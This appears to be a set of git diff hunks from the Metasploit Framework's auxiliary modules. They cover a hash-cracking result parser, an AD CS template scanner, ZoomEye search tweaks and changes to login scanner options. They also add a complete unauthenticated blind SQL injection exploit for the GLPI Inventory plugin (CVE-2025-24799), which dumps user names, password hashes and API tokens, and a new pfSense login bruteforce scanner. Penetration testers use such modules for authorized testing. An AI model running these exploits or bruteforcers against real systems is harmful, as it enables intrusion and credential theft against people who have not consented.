||||
|
||||
def initialize(db_hash, jtr_hash, username, id)
|
||||
@db_hash = db_hash
|
||||
@@ -56,6 +50,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def show_run_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
cmd = cracker_instance.show_command
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
end
|
||||
@@ -66,9 +61,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
lookups = []
|
||||
|
||||
# create one massive hash file with all the hashes
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
hashlist = Rex::Quickfile.new('hashes_tmp')
|
||||
framework.db.creds(workspace: myworkspace).each do |core|
|
||||
next if core.private.type == 'Metasploit::Credential::Password'
|
||||
|
||||
jtr_hash = Metasploit::Framework::PasswordCracker::JtR::Formatter.hash_to_jtr(core)
|
||||
hashlist.puts jtr_hash
|
||||
lookups << HashLookup.new(core.private.data, jtr_hash, core.public, core.id)
|
||||
@@ -82,70 +78,91 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# cracked passwords. The advantage to this vs just comparing
|
||||
# john.pot to the hashes directly is we use jtr to recombine
|
||||
# lanman, and other assorted nuances
|
||||
['bcrypt', 'bsdicrypt', 'crypt', 'descrypt', 'lm', 'nt',
|
||||
'md5crypt', 'mysql', 'mysql-sha1', 'mssql', 'mssql05', 'mssql12',
|
||||
'oracle', 'oracle11', 'oracle12c', 'dynamic_1506', #oracles
|
||||
'dynamic_1034' #postgres
|
||||
].each do |format|
|
||||
|
||||
[
|
||||
'bcrypt', 'bsdicrypt', 'descrypt', 'lm',
|
||||
'mscash', 'mscash2', 'netntlm', 'netntlmv2',
|
||||
'md5crypt', 'mysql', 'mysql-sha1', 'mssql', 'mssql05', 'mssql12',
|
||||
'oracle', 'oracle11', 'oracle12c', 'dynamic_1506', # oracles
|
||||
'dynamic_1034', # postgres
|
||||
# 'android-sha1', 'android-samsung-sha1', 'android-md5', # mobile is done with hashcat, so skip these
|
||||
'PBKDF2-HMAC-SHA1', 'phpass', 'mediawiki', 'pbkdf2-sha256', # webapps
|
||||
'xsha', 'xsha512', 'PBKDF2-HMAC-SHA512', # osx
|
||||
'nt', # nt needs to be 2nd to last because it can hit on android hashes
|
||||
'crypt' # crypt NEEDS TO BE LAST so it doesn't accidentally read in other compatible hashes
|
||||
].each do |format|
|
||||
print_status("Checking #{format} hashes against pot file")
|
||||
cracker.format = format
|
||||
show_run_command(cracker)
|
||||
cracker.each_cracked_password.each do |password_line|
|
||||
password_line.chomp!
|
||||
next if password_line.blank? || password_line.nil?
|
||||
fields = password_line.split(":")
|
||||
|
||||
fields = password_line.split(':')
|
||||
core_id = nil
|
||||
case format
|
||||
when 'descrypt'
|
||||
next unless fields.count >=3
|
||||
next unless fields.count >= 3
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
core_id = fields.pop
|
||||
4.times { fields.pop } # Get rid of extra :
|
||||
when 'md5crypt', 'descrypt', 'bsdicrypt', 'crypt', 'bcrypt'
|
||||
next unless fields.count >=7
|
||||
when 'netntlm', 'netntlmv2'
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
core_id = fields.pop
|
||||
9.times { fields.pop }
|
||||
when 'md5crypt', 'bsdicrypt', 'crypt', 'bcrypt', 'xsha', 'xsha512'
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
4.times { fields.pop }
|
||||
when 'PBKDF2-HMAC-SHA512'
|
||||
next unless fields.count >= 2
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'mssql', 'mssql05', 'mssql12', 'mysql', 'mysql-sha1',
|
||||
'oracle', 'dynamic_1506', 'oracle11', 'oracle12c'
|
||||
next unless fields.count >=3
|
||||
'oracle', 'dynamic_1506', 'oracle11', 'oracle12c',
|
||||
'PBKDF2-HMAC-SHA1', 'phpass', 'mediawiki', 'pbkdf2-sha256',
|
||||
'mscash', 'mscash2'
|
||||
next unless fields.count >= 3
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1506' #oracle H code
|
||||
next unless fields.count >=3
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1034' # postgres
|
||||
next unless fields.count >= 2
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
when 'dynamic_1034' #postgres
|
||||
next unless fields.count >=2
|
||||
username = fields.shift
|
||||
password = fields.join(':')
|
||||
fields.join(':')
|
||||
# unfortunately to match up all the fields we need to pull the hash
|
||||
# field as well, and it is only available in the pot file.
|
||||
pot = cracker.pot || cracker.john_pot_file
|
||||
|
||||
File.open(pot, 'rb').each do |line|
|
||||
if line.start_with?('$dynamic_1034$') #postgres format
|
||||
lookups.each do |l|
|
||||
pot_hash = line.split(":")[0]
|
||||
raw_pot_hash = pot_hash.split('$')[2]
|
||||
if l.username.to_s == username &&
|
||||
l.jtr_hash == "#{username}:$dynamic_1034$#{raw_pot_hash}" &&
|
||||
l.db_hash == raw_pot_hash
|
||||
core_id = l.id
|
||||
break
|
||||
end
|
||||
end
|
||||
next unless line.start_with?('$dynamic_1034$') # postgres format
|
||||
|
||||
lookups.each do |l|
|
||||
pot_hash = line.split(':')[0]
|
||||
raw_pot_hash = pot_hash.split('$')[2]
|
||||
next unless l.username.to_s == username &&
|
||||
l.jtr_hash == "#{username}:$dynamic_1034$#{raw_pot_hash}" &&
|
||||
l.db_hash == raw_pot_hash
|
||||
|
||||
core_id = l.id
|
||||
break
|
||||
end
|
||||
end
|
||||
when 'lm', 'nt'
|
||||
next unless fields.count >=7
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
2.times{ fields.pop }
|
||||
2.times { fields.pop }
|
||||
# get the NT and LM hashes
|
||||
nt_hash = fields.pop
|
||||
lm_hash = fields.pop
|
||||
fields.pop
|
||||
core_id = fields.pop
|
||||
password = fields.join(':')
|
||||
if format == 'lm'
|
||||
@@ -159,13 +176,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
password = john_lm_upper_to_ntlm(password, nt_hash)
|
||||
next if password.nil?
|
||||
end
|
||||
fields = password.split(':') #for consistency on the following join out of the case
|
||||
fields = password.split(':') # for consistency on the following join out of the case
|
||||
end
|
||||
unless core_id.nil?
|
||||
password = fields.join(':')
|
||||
print_good "#{username}:#{password}"
|
||||
create_cracked_credential( username: username, password: password, core_id: core_id)
|
||||
next if core_id.nil?
|
||||
|
||||
password = fields.join(':')
|
||||
print_good "#{username}:#{password}"
|
||||
# android hashes will also crack here, but the output fields are in a different order
|
||||
# check if core_id is an int or not, for android hashes it wont convert
|
||||
core_id_int = begin
|
||||
Integer(core_id)
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
next if core_id_int.nil?
|
||||
|
||||
create_cracked_credential(username: username, password: password, core_id: core_id)
|
||||
end
|
||||
end
|
||||
if datastore['DeleteTempFiles']
|
||||
|
||||
@@ -14,6 +14,8 @@
|
||||
require 'openssl'
|
||||
require 'pathname'
|
||||
require 'uri'
|
||||
require 'rinda/rinda'
|
||||
require 'rinda/tuplespace'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
@@ -70,7 +72,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'data' => nil
|
||||
}
|
||||
|
||||
@NotViewedQueue = Rinda::TupleSpace.new
|
||||
@NotViewedQueue = ::Rinda::TupleSpace.new
|
||||
@ViewedQueue = Hash.new
|
||||
@UriLimits = Hash.new
|
||||
@curent_site = self.ctarget
|
||||
@@ -152,7 +154,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
####
|
||||
|
||||
end
|
||||
rescue Rinda::RequestExpiredError
|
||||
rescue ::Rinda::RequestExpiredError
|
||||
print_status("END.")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
class SqliObjectError < StandardError; end
|
||||
class TargetNotVulnerableError < StandardError; end
|
||||
|
||||
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi',
|
||||
'Description' => %q{
|
||||
GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the
|
||||
"Enable Inventory" radio button inside the administration configuration also must be checked.
|
||||
},
|
||||
'Author' => [
|
||||
'rz', # Initial research
|
||||
'jheysel-r7' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://blog.lexfo.fr/glpi-sql-to-rce.html'],
|
||||
[ 'CVE', '2025-24799']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2025-03-12',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The URL of the GLPI application', '/glpi/' ]),
|
||||
OptInt.new('MAX_ENTRIES', [ true, 'The maximum number of entries to dump from the database. More entries will increase module runtime', 6 ])
|
||||
])
|
||||
end
|
||||
|
||||
def build_xml(payload)
|
||||
<<~EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<xml>
|
||||
<QUERY>get_params</QUERY>
|
||||
<deviceid><![CDATA[', #{payload}#{', 0' * @extra_columns});#]]></deviceid>
|
||||
</xml>
|
||||
EOF
|
||||
end
|
||||
|
||||
def send_request(payload)
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php/ajax/'),
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/xml'
|
||||
},
|
||||
'data' =>
|
||||
build_xml(payload)
|
||||
})
|
||||
end
|
||||
|
||||
def verify_extra_columns
|
||||
(5..10).each do |extra_cols|
|
||||
@extra_columns = extra_cols
|
||||
if @sqli.test_vulnerable
|
||||
return true
|
||||
end
|
||||
end
|
||||
raise TargetNotVulnerableError, 'This target appears to not be vulnerable'
|
||||
end
|
||||
|
||||
def check
|
||||
randnum = SecureRandom.random_number(1000)
|
||||
@extra_columns = 10
|
||||
res = send_request("select #{randnum}=#{randnum}")
|
||||
return Exploit::CheckCode::Safe('Inventory is disabled and needs to be enabled in order to be vulnerable') if res&.body == 'Inventory is disabled'
|
||||
|
||||
begin
|
||||
@sqli = get_sqli_object
|
||||
rescue SQLExecutionError => e
|
||||
return CheckCode::Unknown("#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
|
||||
begin
|
||||
verify_extra_columns
|
||||
rescue TargetNotVulnerableError => e
|
||||
return Exploit::CheckCode::Safe("#{e.class}: #{e.message}")
|
||||
end
|
||||
Exploit::CheckCode::Vulnerable('Time based blind boolean injection succeeded')
|
||||
end
|
||||
|
||||
def get_sqli_object
|
||||
create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
|
||||
res = send_request(payload)
|
||||
raise SqliObjectError, 'Module failed to create SQLi object' unless res
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
@extra_columns = 10
|
||||
begin
|
||||
@sqli ||= get_sqli_object
|
||||
rescue SQLExecutionError => e
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) unless @sqli
|
||||
|
||||
begin
|
||||
verify_extra_columns
|
||||
rescue TargetNotVulnerableError => e
|
||||
fail_with(Failure::NoTarget, "#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
creds_table = Rex::Text::Table.new(
|
||||
'Header' => 'glpi_users',
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[user password api_token]
|
||||
)
|
||||
|
||||
print_status('Extracting credential information')
|
||||
|
||||
users = @sqli.dump_table_fields('glpi_users', %w[name password api_token], '', datastore['MAX_ENTRIES'])
|
||||
|
||||
users.each do |(user, password, api_token)|
|
||||
creds_table << [user, password, api_token]
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: Metasploit::Framework::Hashes.identify_hash(password),
|
||||
private_data: password,
|
||||
service_name: 'GLPI',
|
||||
address: datastore['RHOSTS'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
})
|
||||
end
|
||||
print_line creds_table.to_s
|
||||
end
|
||||
end
|
||||
@@ -14,12 +14,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
|
||||
|
||||
REFERENCES = {
|
||||
'ESC1' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
'ESC2' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
'ESC3' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
'ESC4' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
'ESC13' => [ 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ],
|
||||
'ESC15' => [ 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc' ]
|
||||
'ESC1' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC2' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC3' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC4' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC13' => [ SiteReference.new('URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53') ],
|
||||
'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ]
|
||||
}.freeze
|
||||
|
||||
SID = Struct.new(:value, :name) do
|
||||
@@ -63,11 +63,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Spencer McIntyre', # ESC13 and ESC15 updates
|
||||
'jheysel-r7' # ESC4 update
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
[ 'URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ], # ESC13
|
||||
[ 'URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc' ] # ESC15
|
||||
],
|
||||
'References' => REFERENCES.values.flatten.map { |r| [ r.ctx_id, r.ctx_val ] }.uniq,
|
||||
'DisclosureDate' => '2021-06-17',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
@@ -222,10 +218,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def map_sids_to_names(sids_array)
|
||||
mapped = []
|
||||
sids_array.each do |sid|
|
||||
# this common SID doesn't always have an entry
|
||||
if sid == Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID
|
||||
# these common SIDs don't always have an entry
|
||||
case sid
|
||||
when Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID
|
||||
mapped << SID.new(sid, 'Authenticated Users')
|
||||
next
|
||||
when Rex::Proto::Secauthz::WellKnownSids::SECURITY_ENTERPRISE_CONTROLLERS_SID
|
||||
mapped << SID.new(sid, 'Enterprise Domain Controllers')
|
||||
next
|
||||
when Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SYSTEM_SID
|
||||
mapped << SID.new(sid, 'Local System')
|
||||
next
|
||||
end
|
||||
|
||||
sid_entry = get_object_by_sid(sid)
|
||||
@@ -613,16 +616,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
info = nil if info.blank?
|
||||
|
||||
hash[:ca_servers].each_value do |ca_server|
|
||||
service = report_service({
|
||||
service = report_service(
|
||||
host: ca_server[:ip_address],
|
||||
port: 445,
|
||||
proto: 'tcp',
|
||||
name: 'AD CS',
|
||||
info: "AD CS CA name: #{ca_server[:name]}"
|
||||
})
|
||||
)
|
||||
|
||||
if ca_server[:ip_address].present?
|
||||
vuln = report_vuln(
|
||||
workspace: myworkspace,
|
||||
host: ca_server[:ip_address],
|
||||
port: 445,
|
||||
proto: 'tcp',
|
||||
|
||||
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
@domain = 'ai'
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
@@ -24,6 +25,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Possible filters values are:
|
||||
Host search: app, ver, device, os, service, ip, cidr, hostname, port, city, country, asn
|
||||
Web search: app, header, keywords, desc, title, ip, site, city, country
|
||||
|
||||
When using multiple filters, you must enclose individual filter values in double quotes, separating filters with the '+' symbol as follows:
|
||||
'country:"FR" + os:"Linux"'
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # Original Author
|
||||
@@ -31,9 +35,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Grant Willcox' # Additional fixes to refine searches, improve quality of info saved and improve error handling.
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://github.com/knownsec/ZoomEye-python'],
|
||||
['URL', 'https://www.zoomeye.org/api/doc'],
|
||||
['URL', 'https://www.zoomeye.org/help/manual']
|
||||
['URL', "https://github.com/knownsec/ZoomEye-python"],
|
||||
['URL', "https://www.zoomeye.#@domain/api/doc"],
|
||||
['URL', "https://www.zoomeye.#@domain/help/manual"]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
@@ -69,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Check to see if api.zoomeye.org resolves properly
|
||||
def zoomeye_resolvable?
|
||||
begin
|
||||
Rex::Socket.resolv_to_dotted('api.zoomeye.hk')
|
||||
Rex::Socket.resolv_to_dotted("api.zoomeye.#@domain")
|
||||
rescue RuntimeError, SocketError
|
||||
return false
|
||||
end
|
||||
@@ -80,13 +84,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{resource}/search",
|
||||
'method' => 'GET',
|
||||
'rhost' => 'api.zoomeye.hk',
|
||||
'rhost' => "api.zoomeye.#@domain",
|
||||
'rport' => 443,
|
||||
'SSL' => true,
|
||||
'headers' => { 'API-KEY' => api_key },
|
||||
'vars_get' => {
|
||||
'query' => dork,
|
||||
'page' => page,
|
||||
'page' => page.to_s,
|
||||
'facets' => facets
|
||||
}
|
||||
})
|
||||
@@ -116,18 +120,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
api_key = datastore['ZOOMEYE_APIKEY']
|
||||
# check to ensure api.zoomeye.org is resolvable
|
||||
unless zoomeye_resolvable?
|
||||
print_error('Unable to resolve api.zoomeye.hk')
|
||||
print_error("Unable to resolve api.zoomeye.#@domain")
|
||||
return
|
||||
end
|
||||
|
||||
first_page = 0
|
||||
results = []
|
||||
results[first_page] = dork_search(resource, dork, 1, facets, api_key)
|
||||
results[0] = dork_search(resource, dork, 1, facets, api_key)
|
||||
|
||||
if results[first_page].nil? || results[first_page]['total'].nil? || results[first_page]['total'] == 0
|
||||
if results[0]['total'].nil? || results[0]['total'] == 0
|
||||
msg = 'No results.'
|
||||
if !results[first_page]['error'].to_s.empty?
|
||||
msg << " Error: #{results[first_page]['error']}"
|
||||
if results[first_page]['error'].present?
|
||||
msg << " Error: #{results[0]['error']}"
|
||||
end
|
||||
print_error(msg)
|
||||
return
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/pfsense'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pfSense Login Scanner',
|
||||
'Description' => 'This module performs login attempts against a Netgate pfSense router webpage to bruteforce possible credentials.',
|
||||
'Author' => [ 'sjanusz-r7' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the pfSense application', '/']),
|
||||
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
|
||||
Opt::RPORT(443),
|
||||
], self.class
|
||||
)
|
||||
|
||||
deregister_options('DOMAIN')
|
||||
end
|
||||
|
||||
def process_credential(credential_data)
|
||||
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
|
||||
case credential_data[:status]
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
|
||||
credential_data[:core] = create_credential(credential_data)
|
||||
create_credential_login(credential_data)
|
||||
return { status: :success, credential: credential_data }
|
||||
else
|
||||
if credential_data[:proof]
|
||||
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]} : #{credential_data[:proof]})"
|
||||
else
|
||||
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
|
||||
end
|
||||
vprint_error error_msg
|
||||
invalidate_login(credential_data)
|
||||
return { status: :fail, credential: credential_data }
|
||||
end
|
||||
end
|
||||
|
||||
def run_scanner(scanner)
|
||||
successful_logins = []
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
processed_credential = process_credential(credential_data)
|
||||
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
|
||||
end
|
||||
{ successful_logins: successful_logins }
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = build_credential_collection(
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
scanner_opts = configure_http_login_scanner(
|
||||
host: ip,
|
||||
uri: target_uri,
|
||||
port: datastore['RPORT'],
|
||||
proxies: datastore['Proxies'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['HttpClientTimeout'] || 5,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
http_success_codes: [302],
|
||||
method: 'POST',
|
||||
ssl: datastore['SSL']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::PfSense.new(scanner_opts)
|
||||
run_scanner(scanner)
|
||||
end
|
||||
end
|
||||
+8
-4
@@ -9,13 +9,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::ReportSummary
|
||||
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'auxiliary/scanner/ivanti/login_scanner'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ivanti Connect Secure HTTP Scanner',
|
||||
'Description' => %q{
|
||||
This module will perform authentication scanning against Ivanti Connect Secure
|
||||
This module will perform authentication scanning against Ivanti Connect Secure.
|
||||
},
|
||||
'Author' => ['msutovsky-r7'],
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -31,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptBool.new('ADMIN', [true, 'Select whether to test admin account', false])
|
||||
OptBool.new('ADMIN', [true, 'Select whether to target the admin login endpoint', false])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -51,9 +54,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['HttpClientTimeout'] || 5
|
||||
connection_timeout: datastore['HttpClientTimeout'] || 5,
|
||||
use_admin_endpoint: datastore['ADMIN']
|
||||
)
|
||||
return Metasploit::Framework::LoginScanner::Ivanti.new(configuration, datastore['ADMIN'])
|
||||
return Metasploit::Framework::LoginScanner::Ivanti.new(configuration)
|
||||
end
|
||||
|
||||
def process_credential(credential_data)
|
||||
@@ -37,12 +37,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'APPEND_DOMAIN', [true, 'Appends `@<DOMAIN> to the username for authentication`', false],
|
||||
conditions: ['LDAP::Auth', 'in', [Msf::Exploit::Remote::AuthOption::AUTO, Msf::Exploit::Remote::AuthOption::PLAINTEXT]]
|
||||
),
|
||||
Msf::OptString.new('LDAPDomain', [false, 'The domain to authenticate to']),
|
||||
Msf::OptString.new('LDAPUsername', [false, 'The username to authenticate with'], aliases: ['BIND_DN']),
|
||||
Msf::OptString.new('LDAPPassword', [false, 'The password to authenticate with'], aliases: ['BIND_PW']),
|
||||
OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60])
|
||||
]
|
||||
)
|
||||
|
||||
# A password must be supplied unless doing anonymous login
|
||||
options_to_deregister = %w[BLANK_PASSWORDS]
|
||||
# De-registering USERNAME and PASSWORD as they are pulled in via the Msf::Auxiliary::AuthBrute mixin
|
||||
options_to_deregister = %w[USERNAME PASSWORD BLANK_PASSWORDS]
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
|
||||
add_info('The %grnCreateSession%clr option within this module can open an interactive session')
|
||||
@@ -92,12 +96,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ignore_public = datastore['LDAP::Auth'] == Msf::Exploit::Remote::AuthOption::SCHANNEL
|
||||
ignore_private =
|
||||
datastore['LDAP::Auth'] == Msf::Exploit::Remote::AuthOption::SCHANNEL ||
|
||||
(Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['ANONYMOUS_LOGIN'] && !datastore['PASSWORD'])
|
||||
(Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['ANONYMOUS_LOGIN'] && !datastore['LDAPPassword'])
|
||||
|
||||
cred_collection = build_credential_collection(
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
realm: datastore['DOMAIN'],
|
||||
username: datastore['LDAPUsername'],
|
||||
password: datastore['LDAPPassword'],
|
||||
realm: datastore['LDAPDomain'],
|
||||
anonymous_login: datastore['ANONYMOUS_LOGIN'],
|
||||
blank_passwords: false,
|
||||
ignore_public: ignore_public,
|
||||
@@ -105,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
|
||||
opts = {
|
||||
domain: datastore['DOMAIN'],
|
||||
ldap_domain: datastore['LDAPDomain'],
|
||||
append_domain: datastore['APPEND_DOMAIN'],
|
||||
ssl: datastore['SSL'],
|
||||
proxies: datastore['PROXIES'],
|
||||
@@ -120,7 +124,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
realm_key = nil
|
||||
if opts[:ldap_auth] == Msf::Exploit::Remote::AuthOption::KERBEROS
|
||||
realm_key = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
if !datastore['ANONYMOUS_LOGIN'] && !datastore['PASSWORD']
|
||||
if !datastore['ANONYMOUS_LOGIN'] && !datastore['LDAPPassword']
|
||||
# In case no password has been provided, we assume the user wants to use Kerberos tickets stored in cache
|
||||
# Write mode is still enable in case new TGS tickets are retrieved.
|
||||
opts[:kerberos_ticket_storage] = kerberos_ticket_storage({ read: true, write: true })
|
||||
|
||||
+6
-2
